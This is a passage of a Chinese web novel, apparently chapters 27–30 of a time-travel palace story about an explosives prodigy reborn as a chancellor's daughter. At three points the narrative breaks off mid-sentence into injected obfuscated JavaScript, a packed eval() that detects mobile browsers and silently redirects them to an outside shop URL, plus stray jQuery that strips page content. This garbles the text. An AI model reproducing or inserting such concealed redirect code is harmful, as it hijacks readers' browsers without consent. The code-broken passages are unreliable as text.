她看到刑具的瞬间就吓疯了,当即把自己知道的事情写得一清二楚。 可是对面居然嫌弃她知道的少! 她能知道这么多东西很不容易了好不好!这都是她殚精竭虑收集来的情报,怎么可以说少呢??? 吱呀——刑房的木门被推开。 谢骊下意识地在墙角缩成一团,看到来人,惊喜道:“呜呜呜呜呜!” 你是来救我的吧! “嘘,别哭。”来人有一张温柔好相貌,气质温润如玉,仿佛哪来的翩翩君子,小心翼翼地擦去谢骊的眼泪,道,“辛苦你了。” 谢骊刚感动没两秒,就听到来人说:“真是多谢你了。如果不是你这么愚蠢,我们的计划怎么能这么成功?” 谢骊懵懵地抬起头,瞧见一个黑洞洞的枪口对着她。那人的眼中哪有任何一点在乎? “你说过,”谢骊喃喃,口中鲜血溢出,道,“我只要配合你,我就能活得更好!!谁都没办法踩在我头上!!!” 来不及毒发,一声巨响,谢骊应声倒地。 鲜血在地板上晕开。 那人笑道:“对呀,我说过。但我说过的话多了——” 刑房的门再次吱呀打开。 被溅了满脸血的温润公子一转头,困惑道:“咦,你是谁?” “我是刚刚加入地助会的新人。您自然不会记得我的名字。”脸上有疤的女子恭恭敬敬道,眼睛始终垂下,显得很温顺的样子,“我来告诉您,赵艽野答应还给我们的东西,已经送到了。” . 青禾心中隐隐有着不安之感。 或许是因为又见到金乌,而她根本没认出自己。她这种小人物,就算鸩占鹊巢,换了一种身份和地位,也不配入人眼么? 与其他处刑人不同的是,她根本没去过都城,一直在永熹。 在弟弟的阴影之下沉默地活着。 作为勤勤恳恳的植株,仿佛从来没活过。 改变了她人生的是惊鸿一瞥的金乌。无论怎样,她至少应该记得我才对吧! 青禾猛地停下脚步。她身为处刑人,有着太敏锐的五感。这浓重的血腥味已经到了无法忽视的地步,总不能满院的处刑人全都变成聋瞎。 只有一种可能,就是他们都死了。 青禾从袖中甩出匕首,缓步慢行。循着血腥味传来的方向,在庭院的角落处,倒着几位处刑人的尸体,以及一位穿着藏青色衣袍的身影—— 铮—— 青禾险之又险,才能避过划过眼睛的剑锋,还未来得及心惊,便感觉咽喉一痛。 剑尖一转,刺破咽喉,一道血痕蜿蜒从女人的脖颈滑下。 以燕衔杯的耳力,自然听得角落里有窸窣声响,以及纷乱逃跑的脚步声。 他无动于衷,衣袍上全是被溅上的鲜血,只道:“听说两位皇帝一位国师全都齐聚于此。燕某也想来凑凑热闹,带路吧。” . 那个在客栈中行刺陈奉请的刺客穿越者,同时也是青禾的弟弟青耀抱着□□,吓得屁滚尿流,忙不迭地跑了。 青耀是抱着终结一切的念头来的。 他的姐姐助纣为虐,他早就看不惯了。哪怕他穿来之后也一直在姐姐的庇荫下,也并不曾对父母尽了多少的赡养义务。但姐姐投身于这种让他这种现代人一听就觉得不对的部门,他是无比的痛心的! 他这是大义灭亲! 青耀在地助会接受了一段时间的培训,自信心膨胀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751888|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 到了无比的地步。 古代人面对现代武器,就是一碰就碎,只能如同猪狗一样被宰割! 但这个忽然闯入的男人实在太可怕了。 原来他只是从来没碰见过硬茬....... 青耀闷着头往前冲,他穿来这么久,也从没在乎过礼仪尊卑。反正得罪了谁,也一直有人当他的替罪羊,他从来没吃过大苦头。 “怎么跑得那么急?” 所以当一道格外轻柔、仿佛银蛇吐信的声音在他身后响起,他也没有停下脚步。 但下一秒就被几个人扭住肩膀,膝盖砰一声被摁在青石砖上。 如鬼魅般的银发青年悠闲地饮茶,他对面躺着一个血肉模糊的人,几个生得一身腱子肉的女人正拿着鞭子对着那个人猛抽。 也不知道国师这是赏的哪门子景。 国师那双重瞳锁定了他怀中的枪支。他伸出一根手指点了点对面的人形物体,笑道:“你瞧,他不肯说。放着好好的皇帝不做,却敢瞒着我图谋些小把戏。不知道你有没有这样的骨气呢?” 轰隆—— 国师正欲再说,忽地一阵惊天巨响从庭院的一角掀起,茶杯倾倒,桌椅掀翻,堪称地动山摇,树木植株被这强劲的余波震得如海浪般狂摇。 庭院中国师站立不稳,踉跄几步。处刑人们摔作一团,青耀连滚带爬连忙逃走。 赵艽野猛地抬起头,虽然身上血肉模糊,但两只眼睛亮的惊人。 “哈哈哈哈哈哈.........” 国师忽地大笑。 赵艽野一动也不敢动,他生怕自己动了一下身上会有七八个地方滋滋冒血。但胜券在握,他年纪尚轻,总沉不住气。 赵艽野恨恨道:“你要死了,还这么高兴?” 国师并不理他,几乎笑出了眼泪,用手指轻轻抹掉笑出的泪花,道:“我的梨儿,永远是我的了!不枉我如此苦心,这下谁也没办法从我身边夺走她了!” “真想现在就回家,对.......我简直迫不及待看到她哭的样子了!” “哈哈哈哈哈!” 赵艽野觉得国师疯了。 喊杀声向着江家围过来,毫无疑问他们的处境是极其危险的。但国师现在........众处刑人左右看看,大气不敢出。 . 藏在永熹的各个角落,坚定地相信地助会的虚假未来的“已死”的人们,举着火把、身着兵甲,手持枪支,纷纷涌来。 好怀念曾经的日子。梨娘站在屋檐,在其他人或困惑或不善的目光中,缓缓摘下了帷帽。 但那些未来,跟随疯皇帝是永远不会到来的。 发丝有点微微的自然卷,眉眼凌厉而美艳无双,她微微垂着眼,有些难过的样子。 众人面露惊疑,交头接耳,梨娘能听到消息如海浪般向远方传递而去。 梨娘的画像,在地助会内部绝对是人手一份。只要她露面,就一定能等到想等的人。 “——皇后!” 有人在背后喊她。热切而珍重。 仿佛过去的十年如烟云般散去,那些过往从来没有发生。 那温润公子略略喘息着,他自然是抛下一切狂奔而来,人潮为了他的到来而分出一条路,又在他身后紧紧闭上。 “我一直在找你。”那人瞧着她的目光无比深情,道,“回到我身边吧。” “你明明有着可以改变这世界的能力,为什么要畏首畏尾呢?” 梨娘平静道:“让你的拥趸滚开,王宇航,因为我要杀了你。” 王、宇、航。 王宇航搜罗来的人们大半都是原住民,但也有许多则是穿越者。 没绷住的笑声还是挺明显的。 温润公子彬彬有礼的面孔扭曲了下,咬牙挥退手下,道:“皇后,我们可以好好谈谈。” “我与你没什么好谈的。”梨娘从袖中震出双匕,冷冷道,“我和畜生怎么会有共同语言呢?” “.......”温润公子的面皮再也撑不住了。王宇航怒吼道:“把TNT带到这个世界上的是你,不是我!” “你以为你现在惺惺作态就有用吗?特种能源技术与工程专业的礼诗涵同学?” “这一切都是由你而始的!” 28. 第28章 礼诗涵 “——礼诗涵!” 抱着两本书、挎着半边书包,拉链上还挂着个美乐蒂挂饰的少女并不回头,只是一边健步如飞,一边低头飞快地在手机上跟朋友聊天。 她年纪很轻,身量呈现出一种少女特有的单薄,扎着丸子头,穿着衬衫和工装裤,一只耳朵上打了三个耳骨钉,另一只耳朵上则空荡荡的。 虽然脸颊上还有未褪去的婴儿肥,但显然已经沉醉于自己的艺术里了。 “礼诗涵,我叫你你是听不见是吗???” 礼诗涵的导师姓王,是个人到中年的火爆女子。见此状当即大怒,撸起袖子快步上前道:“你是不是又偷溜出去骑摩托车【注】了???我都跟你说了那东西不安全!你别跟那帮疯小子学坏了,你可是前途无量的宝贝,得爱惜自己知不知道......” 礼诗涵这才回头。她并不近视,但在中二时装模作样地带上了一副黑色镜框——并一直坚持到了现在。 她狡黠地一笑,仗着人高腿长,几步把导师甩在身后,撒丫子冲出教学楼,狂奔到校门,叫道:“宇航,快快!我干妈不乐意我去兜风,咱们抓紧!” 在一众大学生惊奇的目光中,王宇航苦笑着戳在拉风的哈雷摩托旁边,十分想远离,但碍于小女友的威慑,一动不敢动。 这摩托整体被涂装成黑蓝色,发动的时候有逐渐加深的灯效,当真是炫酷无比。这是礼诗涵父母送给她的十八岁成年礼物,发动机的声音像狮子在咆哮。 王宇航的母亲和礼诗涵的母亲是要好的闺蜜,两人住在对门,从小一起长大。 但王宇航一直被深埋在礼诗涵的阴影之下。 因为礼诗涵是一个万里挑一、绝无仅有的天才。 他们一样大,连生日都是一样的,同时出生,却如此不同。 礼诗涵已经在读博,小小年纪被一众师长捧在手心里,从来不知道困难两个字该怎么写。因为让她看过一遍的东西,她就能学会。拆过一遍的东西,她就能手搓。 肉眼可见的,她的前途无限光明。 而王宇航刚刚从高考中解脱,拼尽全力才和礼诗涵考了同一所大学,勉强读了同一个专业,拼尽全力才能跟得上进度。 礼诗涵把王宇航赶到后座上,把书包丢给他抱着,困惑道:“你怎么了?不舒服?我先送你回家?” “没什么。”王宇航笑笑,道,“你这样不听我妈的话,我妈又得跟你妈告状了。” “不用怕。”礼诗涵带上头盔,刷地展开自己的驾驶证,啪地一拍胸脯,得意洋洋道,“我可是天才啊,心里有数。” 她的身体也很好,从小就有一身牛劲,如此钢铁猛兽,在她的手下听话像个小电驴。 梅雨季节,哪怕好不容易放晴,空气中也是湿漉漉的,仿佛在海中一般。骑着摩托车在无人的公路上驰骋,在刀割般的狂风中仿佛连灵魂都要飘飘欲仙起来,不怪礼诗涵为此着迷。 . S市火药应用研究所。 “新研发的高当量炸药,效果及安全性不及预期,没法达到工程应用标准,重新实验效果仍不佳,已经确认起爆完全,目前原因尚未可知.......” 西装革履的男性对着PPT侃侃而谈,手下学生疯狂地敲击键盘,每个人都对着屏幕露出痛苦的神色。 “会议怎么提早开始了?”礼诗涵把没来得及吃的煎饼果子丢给王宇航,道,“你吃两份吧,我没时间了——哎呀,哎呀,快用意念让你爸讲慢点,我还没听到呢!” 她风风火火地从后门冲了进去,男人恨铁不成钢地瞪了她一眼,道:“诗涵。” “我们的课题‘TL-0726’相比传统炸药,理应具有更高的安全性和更强的爆破当量,但在实验当日效果远不如TNT。你有何见解啊?” 礼诗涵迅速地看了一遍资料,道:“我认为我们的分子式没有问题。但爆炸产生的能量远低于想象,仿佛凭空转移到了另一个地方。我认为.......” 这难题已经困扰了课题组许久,换用各种实验条件均以失败告终。这项目耗资巨大,若半途放弃,对课题组是个严重的打击。 这个课题组中的少年天才礼诗涵笑道:“或许,我们应该换一个实验室进行实验。” 王宇航把目光从礼诗涵身上拔下来。她不知道说了什么话,现在被他爸骂得狗血淋头,鹌鹑一样站着。但她偶尔还抬头顶一句嘴,再次被骂得狗血淋头。 不知怎的,他忽然生出一阵羡慕。 “宇航,宇航?”秘书担忧地叫他,“我们该走了。” 秘书小心翼翼地说:“我们不好看这些,万一泄露了机密,哪怕你是王老师的孩子也不行。” “我理解,陈姐。”王宇航微微笑道,他总是很有风度,在面对礼诗涵以外的事情上,总是游刃有余的。 他状似无意道:“研究所接受我的实习申请,本来就是看在诗涵的面子上。她总是这么任性,要人陪着。” “你知道就好。”秘书大松了一口气,道,“诗涵昨天还在求我说让我多带带你,生怕你受了委屈。有这样的小女友真好啊——别看不起行政岗啊,里面水也很深的.......” . “咦,宇航,你怎么啦?” 礼诗涵抱着一叠资料,在他眼前蹦了蹦,美乐蒂和她一起上下颠了颠。 见面前人没反应,她有点担心地问:“你生病了吗?” “可能是有点没睡好吧。”王宇航勉强笑了笑,道,“结束了?” 王老师拿着手机,跟在诗涵身后痛苦道:“今天就这样吧,停滞不前!还是停滞不前啊!哦对了诗涵,你阿姨做了大餐,你爸妈现在已经在我家了。” “吃大餐!”礼诗涵雀跃道,抱着资料一溜烟地跑了,“叔叔,宇航好像有点不舒服,你开车带他吧,我骑摩托先走喽!” 父子二人对视一眼,相顾无言。王宇航坐在副驾驶,瞧见礼诗涵跳上炫酷的摩托,露头盔外的长卷发在风中狂舞,在轰鸣声中箭一样离开了。 “.......”王宇航道,“爸。” “嫉妒人家?”王老师哼道,“诗涵我看着长大,她从小就喜欢你,说长大要嫁给你。哪有男人会嫉妒自己老婆的?” . “呜呜呜姐妹,你瞧瞧你生的好女儿,老是欺负你的好闺闺!” 香榭丽舍小区一栋1801号,脾气火爆的王导正倚靠着自己的小姐妹嘤嘤哭泣。 礼妈是个温柔的美人,刚责怪地看了一眼女儿。礼诗涵立刻也假装嘤嘤哭泣,比王导还要矫揉造作,礼妈顿时就不知道如何是好了,和稀泥道:“好了好了,我替她给你道歉。” 在王导的怒视下,礼诗涵志得意满地夹走了桌上的鸡腿。 “我吃饱了。”王宇航起身道,其他五个人齐刷刷看向他,他硬邦邦道,“我先回房间了。” 王导做的鸡肉有点柴,礼诗涵鸡腿啃到一半,艰难地下咽,看了看王宇航的背影,转头道:“王叔,他今天一直不舒服。” “青春的小伙子嘛,就是人厌狗嫌。”王老师撇了一眼,道,“不用管他。” . 半夜,王宇航被噩梦惊醒,瞧见床边有什么幽幽地在发光,是两只眼睛。 “啊!!!” 礼诗涵捂住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755330|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 嘴巴,一声尖叫闷在嗓子里,没让他吵醒他父母。 礼诗涵大半夜不睡觉,蹲在他床边,幽幽道:“我从八岁就有的晚安吻,今天断掉了!” 礼诗涵此人,天赋绝顶,持才傲物,但人情世故,则是只通一窍。 八岁时被O本动漫荼毒,要求当时仍是小屁孩的王宇航扮作女仆,叫她公主大人,并早晚给她上供脸颊吻。 后来这段黑历史被长大一点的礼诗涵单方面销毁,但两个青梅竹马之间的缘分,倒是一直持续到了现在。 “你不舒服,难道是因为我吗?”礼诗涵心碎,满含泪水,难以置信道,“因为我抢走了你爸妈的疼爱?是不是因为叔叔阿姨偏爱我!你觉得你是个没人要的小可怜了?” 十万八千里。 王宇航哭笑不得,礼诗涵真应该少看点网文小说! 刚熬夜看完真假O金的礼诗涵十分愧疚,道:“没关系,我这就补偿你。” 王宇航一句不必了还没说出口,礼诗涵就拉着他冲出门,蹑手蹑脚且无比飞速地扭开正门,插钥匙旋开对门,热泪盈眶道:“爸!妈!看看谁来了!” 在王宇航震惊的目光中,礼爸礼妈闪亮登场。礼妈摸着他的头垂泪,礼爸一阵唉声叹气,同样痛哭流涕:“委屈你了!我的儿!” 王宇航:??? 场面一时间变得像寻亲栏目,王宇航呆立在原地,不知道如何是好。 礼诗涵再次拍拍手,刚看完豪O风云的礼爸礼妈痛哭流涕地退场了。 “你做什么呢?”王宇航不禁失笑,“我真的只是没睡好而已。” “是吗?”礼诗涵显然并不相信。 但上天给她开了一扇门就会关上一扇窗,她有了学业上的众星捧月,就很难养出洞察人心幽微的一双慧眼。 她高兴道:“那就好。” “我就想告诉你,我们是一家人呀。”礼诗涵笑道,她的眼睛只倒映着他的影子,“你永远可以跟自家人商量。不管是我爸我妈,还是你爸你妈,还是.......我。” 王宇航鬼使神差地低下头去,唇瓣的相隔仅仅一毫米,完全能感受得到彼此的呼吸。 “诗涵。”王宇航轻轻地问,“你为什么喜欢我?” “嗯........”礼诗涵从来没思考过这个问题。她歪着头思考片刻,理所当然地说:“因为我们从小就在一起啊。我们一起长大、一起吃饭,将来自然也要成为夫妻,永远在一起。” “是吗?”王宇航叹道,尾音隐藏在夜色中,礼诗涵并没有听清。 “你在可怜我啊,诗涵。” . 实验成功了。 王老师申请更换了一个实验室,“TL-0726”的实验毫无理由地成功了。 礼诗涵自然很高兴。庆功宴上,她是功臣,自然最开心。 但她愈发好奇,原来的实验室为什么不行?那莫名消失一部分的能量,去了哪里呢? 大抵她这种天才总有着惊人的行动力。当晚,她骑着摩托风风火火地又冲回了实验室。 然后她再也没有从里面出来。 绝世天才礼诗涵在2026年7月26日夜间23:18因不明原因出现心脏骤停、呼吸循环一齐终止,十五分钟后被巡查发现,送医抢救无效,宣布死亡。 实验室监控记录显示礼诗涵在23:00还在连续引爆极小剂量的“TL-0726”,计算机显示她在日常记录实验数据,在23:17出现神色惊惶,在实验手册上留下了莫名其妙的两句话后与世长辞: “——世界充满了孔洞。” “我要被吸进去了。” 29. 第29章 上官梨 我这是在哪? 皮肤已经感觉不到冷,在冬日泛着冰碴子的湖水的浸泡之下,全身的痛觉感受器都在尖叫,这实在太痛了! “快,快救小姐!” 岸上传来的声音朦朦胧胧,妇人尖锐的哭声,仆从的争吵声,男人的呵斥声,混作乱七八糟的一团,刺激着礼诗涵本就疼痛的神经末梢。 烦死了! 她都落水这么久了,怎么还没人来救? “你下去救人啊!”贵妇人恨铁不成钢,染着蔻丹的指甲猛地推了十九皇子一把。 他不动,周围的家仆都是淑妃的手下,自然也不敢动,可怜上官梨一个刚及笄的少女,在寒冬腊月的水里泡了许久,都快没动静了。 十九皇子垂着头,虽然生得高大,但是人却很没志气,他瑟缩着道:“娘,冬天水很冷,我不敢.........” 十九皇子的亲妈,王淑妃恨铁不成钢地拿指头用力捻着这个倒霉催的儿子,恨恨道:“我好不容易才把她骗到这里来,又好不容易才让她‘不小心’落水——你若是救了她,就是有肌肤之亲,她定要与你成亲的。有了上官丞相的背书,你还愁做不成太子?去!去!赶紧去!” 哗啦—— 没等淑妃母子争论出个一二三来,从池塘中挣出一只被冻得清白的手,猛地锤开薄冰! 在淑妃母子悚然的目光中,礼诗涵从半结冰的池塘中缓缓爬出。 她虽尚未长开,但五官的凌厉和美艳已经可见雏形。被泡了半天,她皮肤被冻得青白,身上华丽的青色衣裙湿透了,成了沉沉的乌色,愈发显得此人像个漂亮的水鬼。 礼诗涵伸舌头舔了舔指节处被浮冰划伤的伤口,尝到一丝血腥味。 我穿越了。 她被一群穿着古装的人团团包围住,不知道他们是何人,自己现在又身在何方,心中却油然而生一股狂喜。 礼诗涵心想,这能发多少篇SCI?只要能回去,我能拿诺贝尔奖! 上官梨有点不一样了。 淑妃敏锐地察觉到,虽然还是那张脸,可气质不一样了。上官梨是个标准的大家闺秀,被三从四德困住,从来都是低垂着眉眼。 可现在的上官梨盯着她的眼神.......像是某种没被驯养过的野兽。 “你。”畅想SCI也不能抵御寒冷,礼诗涵随手挑了一个衣服穿的最多、最厚的,道,“把你的衣服脱下来借给我穿。我不能感冒,我的大脑是国家公有财产。” “不,不行。”十九皇子被她吓傻了,没听懂她在说什么,懵懵道,“我穿的是朝服,你不是皇子,穿不得.......” “什么呀?”礼诗涵十分困惑。 淑妃给十九皇子飞去了一个眼刀,一把拽下十九皇子的狐毛大氅,亲亲热热地把礼诗涵从头到尾裹了个严实,道:“我儿,上官小姐要呢,你就给。怎么一个二个的都愣着?还不快领上官小姐去换身衣裳?” 下人得了她的令,仿佛木偶头顶上那根绳索被操纵起来,仆从该磕头请罪的磕头请罪了,侍女该领路的也领路了。 一听可以换衣服,礼诗涵立刻忙不迭地跟着去了。她不能生病,生病脑子会变得昏昏沉沉的。 “我儿。”淑妃瞧着上官梨欢欣雀跃的背影,不知为何心中涌上一丝不安。 她缓缓道:“我会侍女带她去你的卧房。不管是你用强的,还是用什么手段我不管,总之,一炷香后,我会带着人去‘撞破’,我要你们的名声从此之后永远纠缠在一起,上官家也和你死死绑在一起。” “那不好吧。”十九皇子嗫嚅道,“这不是毁人清白吗?” 他不说还好,一说,淑妃彻底爆发了,吼道:“你行,你清高,你最清白,你娘为你着想就是在害你了——你知不知道,你拖累的是我们全族?如果你哥哥活下来,如果能活下来!那我还需要指望你这个废物吗?” “......”十九皇子低眉顺眼道,“娘,你消消气,我去就是了。” “这才对。”淑妃哼道,“去吧,她这时候应该已经脱光了。” . 屋内暖香充盈,燃着上好的炭火,几乎让人舒服地连骨头都软掉。 礼诗涵赶紧把快要结冰了的衣服扯掉,侍女说会替她取新衣服,可是出门许久也不见归来。 她都已经做完五十个俯卧撑热身了,怎么还不回来,一定有诈! 这卧房约莫是为了某个尊贵的客人偶尔来访设下的,翻遍床柜也只有床薄被。 桌上有面铜镜,清晰地映出上官梨这具身体的面容——和礼诗涵原本的面容几乎完全相同。她十五岁的时候长什么样,现在这具身体就长什么样。 完全是不同世界的同一个自己。 唯一不同的是,她十五岁的时候看O本动漫,被骗了个底掉,想知道反复锤炼的日本刀和实验室里的高分子材料到底哪个更好用。 于是自己抡锤子打了一把,结局虽然一眼就能望见,但至少把手臂的线条锤炼得十分优美。 而这具身体虽然身体素质也很好,力气也很大,明明和礼诗涵有着同样的天资,但皮肤总透出一种不见天日的苍白和阴郁。 礼诗涵捏了捏手臂上的软肉,不知为何,忽然觉得有些难过。 这份难过让她在赤身裸体,发现这卧房里果然来了个男人时,怒火如烈焰般熊熊燃烧。 十九皇子嗫嚅道:“对不起,对不起......我看了你,对不起,求求你跟我结婚吧,如果不结婚你也没有好果子吃的,对不起,对不起,都是我娘让我干的,对不起.......” 礼诗涵伸了个懒腰,弓起的腰身漂亮得像个小母豹,看得十九皇子眼都直了。 她哼道:“谢谢你给我送衣服穿。” “什么?”十九皇子懵懵道。 一炷香后,淑妃假哭着,像只花蝴蝶般,一边假意训斥侍女,一边叫道:“哎呀呀,你这个小笨蛋,怎么把你家小姐带到我家皇子的屋子里了呢?若是发生点什么不该有的,可怎么是好——啊!我儿!你发生什么事了?” 卧房大敞着,十九皇子鼻青脸肿,衣服早被扒光,躺着地上人事不知。 至于礼诗涵? 她把这个该死的强/奸/犯当成铁块狂殴了三分钟,终于舒服了,随手扒了他的衣服换上,优哉游哉地在庭院中四下逛了一圈,狗屎运地找到了后门,又恰巧她家的马车正在此处等候。 淑妃打听了一圈,得到了令人血压陡升的消息:她回家了! 第二天,礼诗涵和十九皇子的名声确实死死地纠缠在了一起。 因为十九皇子哭到圣上面前,说上官梨强占了他的身子!他确实鼻青脸肿,昨日上官梨也确实在他府中做客。 这真是惊天大笑话。 朝堂上一片哗然。 虽然十九皇子确实是出了名的废物点心,但这么个废物点心也好歹是皇族的点心,怎么能让别人欺负了去呢? 上官丞相脸都黑了,向圣上保证,一定会将此事查个水落石出!绝对不让上官家有辱皇室! 礼诗涵正听侍女讲大阜故事,忽地卧房中闯入一个威严的中年男人,当头一口黑锅砸下来,晓是她脑筋灵活,也差点被砸蒙了。 “明明是他们先想要图谋女儿。”礼诗涵已经把这事捋得很清楚了,道,“怎么恶人先告状?” “你还不知错!”上官丞相怒吼,“十九皇子怯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757533|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 懦不成才,你个女儿家懂什么,我决不能站队到他们那边!” 礼诗涵真的不是很明白,上官梨是他的女儿,可是他只想着自己的前程。 她道:“我并没与他发生任何关系。最多也就是他的脸接触到了我的拳头。我是完璧之身,尽可以叫人来验啊!” “你说什么?”上官丞相不可置信,他眼中迸发出严厉的光,道,“你知不知道羞耻二字该怎么写?你穿着人家的衣服回的家,你以为大伙都是瞎子吗?谁还会要你?我精心把你养得这么大,还没卖出个好价,你却成了个祸害!” “我已经做出了最好的决定。”礼诗涵的声音也提高了,道,“他们和着我的侍女一起算计我,把我泡在冰冷的水里那么久,如果不是我这样做,早就已经死了!” 上官梨确实已经死了。从那片池塘中爬出的是穿越者礼诗涵—— “你就应该自我了断!”上官丞相的面貌没有一刻像现在这样扭曲又可怕,他叫道,“你应该为了自己的清白和家族自我了断!” “.......”礼诗涵觉得他简直疯了。她骤然冷静下来,和疯子争吵是不理智的,她只道: “你怎么不去死?” 你女儿真的已经死了!上官梨死在那片冰冷的水里了! “你个孽种!” 上官丞相抬手欲打,蒲扇般的大掌眼看就要落在上官梨的脸上。 这个女儿平日里只会低眉顺目,他疼爱一下也就罢了,但是触怒了他一家之主的权威,他就不得不给个教训了。 但他想象中的快意还没来,就感觉到一股巨大的力气从他扇出的巴掌上涌来。 啪—— 然后是疼痛。 上官丞相后退几步,掌心通红,惊疑不定,道:“你?!” 礼诗涵同样是一掌,像在篮球队伍里击掌一样,狠狠打落上官丞相的手,她蛮劲大,从来不知收敛,上官丞相毕竟年迈,竟一时被她逼退了几步。 “你不能打自己的女儿。”礼诗涵吹了吹自己通红的掌心,抬眼认真道,“家庭暴力是不可取的!” 上官丞相瞧着自己的女儿,仿佛瞧见了一头没被驯服过的野兽。 “好哇,好哇。”上官丞相怒极反笑,吩咐手下,道,“给我把她拉去小黑屋关禁闭!三天不许给她食水!” . 人多还是厉害,礼诗涵深刻地意识到了这个道理。四个侍卫把她举起来,硬是丢进了柴房。 倘若上官梨不认错,就别想出来。 礼诗涵当然不可能认错。但她从小到大,从来没有缺过一顿饭。错过了两顿饭,她尝到饥饿的滋味,立刻意识到这样不行。 她扛不住饿,会死的。 必须想个办法。 礼诗涵扒着只能通过一个饭碗的小窗,看着门外的门锁。 很简陋。 太简陋了! 高材生礼诗涵打开它只需要两根发簪。 可是虽然出来了,有什么办法能解决这件事呢? 礼诗涵对于这个世界完全是两眼一抹黑。就此逃之夭夭,肯定是很难活得下去的。 但礼诗涵是个天才啊。 她当即想出了主意。 第二天,另一则消息火爆席卷了都城。 礼诗涵到衙门自首,说她与十九皇子不过是比武。十九皇子处处比不过她,怒火攻心输不起,才出此下策污她名声。 她现在来投案,如果大人要抓,请以殴打废物皇子的罪名把她抓进去。但也请治十九皇子污蔑清白女子的罪过! 她上官梨可以蹲大牢,但一定是要清清白白地蹲大牢。 而十九皇子一定是板上钉钉的铁废物! 30. 第30章 上官梨(二) 大阜虽不如大秉那般,古板到一家人像是在转转上认识的,但也充满着礼诗涵无法理解的习俗。 寻常女子,若是被这样泼了脏水,是真的会嫁不到好人家。本来大多数人都是凑合凑合过得了,被传出这样的名声去,本来就是来凑合的人会愿意慢慢来探寻你的内心吗? 等待上官梨的,要么是死路一条,要么是委屈求全。 但礼诗涵不一样。 她是核弹。 这身体是高门贵女,礼诗涵大马金刀地往县衙里一坐,一副死活要讨个说法的样子,就是官老爷也只能低声下气地求她赶快收了神通。 十五岁的礼诗涵面容尚未完全长开,肌肤在初冬柔和的光晕下纯净得几乎透明。 利阳县令是个老实人,平日里净会和稀泥,这种牵扯到丞相之女和现任皇子的事情,他也只能苦劝:“小姐莫要犟了,现在谣言传得沸沸扬扬,于小姐名声不好,上官丞相要气疯了,快快回家去吧.......” 礼诗涵十分惊奇,毫不客气道:“正是由于我名声有污。若要按你们的理论,我需得为我的名声付出性命。我现在连性命都堪忧了,还能白死不成?” 利阳县令有苦说不出,道:“小姐,对方可是皇子,怕是不会有什么好下场的。” 礼诗涵当即笑道:“皇子就可以想要哪个女孩子,就占哪个女孩子吗?他还没当上皇帝,怎么就有皇帝的瘾了?” 这话只有不知天高地厚的礼诗涵才敢说。 利阳县令若是附和或是不附和,都将得罪两位他根本开罪不起的人。当即闭上嘴巴,发誓再也不和这个疯子说话。 高门贵女状告皇子,有这等热闹,就算是天塌了也得看完热闹再死。 百姓们把县衙围得里三层外三层,指指点点,好不热闹。在事情彻底被传得失去原本面貌之前,宫里派人来请礼诗涵。 大太监皮笑肉不笑,道:“传皇上旨意,请上官小姐入宫一叙。” . 宫殿气宇轩昂,金瓦在暖阳下折射出炫目的白光。大阜身为国力最盛之地,宫殿自然修缮得尽善尽美,宫墙高耸,一时望不到尽头。 礼诗涵收回目光,神色如常,道:“带路吧。” 大太监见她面上并无惊惶神色,不由得在心中高看了几分。 皇帝平日召见大臣、亲眷、常在偏殿议事。 礼诗涵从侧门入,却只觉越走越逼仄,宫道愈发狭窄,再不见外廷的开阔大气,偶尔瞥见敞开着的宫门中有些漂亮女人用一种怜悯的眼光瞧着她,心中也多少明白了几分。 这是嫔妃的住处。 大太监若要带她去偏殿,那是把这件事当成是正事。 可现在八成是要去淑妃的住处,皇帝老儿与自己的嫔妃相互调笑,十九皇子不要脸地跟他爸妈撒娇,自己被按头和好,说不定还要被赐婚,结局四人“甜甜蜜蜜”地生活在这个压抑的宫殿里..... 敢耍我。 礼诗涵心想。 大太监莫名觉得自己身后多了一丝凉气,惊悚地回头,只瞧见高门贵女正朝自己羞涩地一笑,怕是再长几年,就能有倾城之姿。 大概是穿少了吧。大太监心想。回去多添点衣服。 . 老皇帝今年已经八十多岁了。身体虽还强健,但谁都知道他没几年活头了。 人老了,他自己也知道自己要死了,精力没那么旺盛。别管儿孙私底下打成什么样,总之明面上,他看着自己的一家和和气气的,觉得心情就好,还能多活几年。 小十九这件事,他觉得很生气。怎么这么不懂事?闹得这么大,岂不是丢了皇家的脸面? 但自家人的事,他还是得管的。 不管事实如何,已经闹得这么大了,可不能让十九皇子受了委屈。他夸赞几句,赐个婚,多赏赐些聘礼,这事也就过去了。 再过些时日,说不定还能算是美谈一桩。叫人编成戏曲,流芳百世呢。 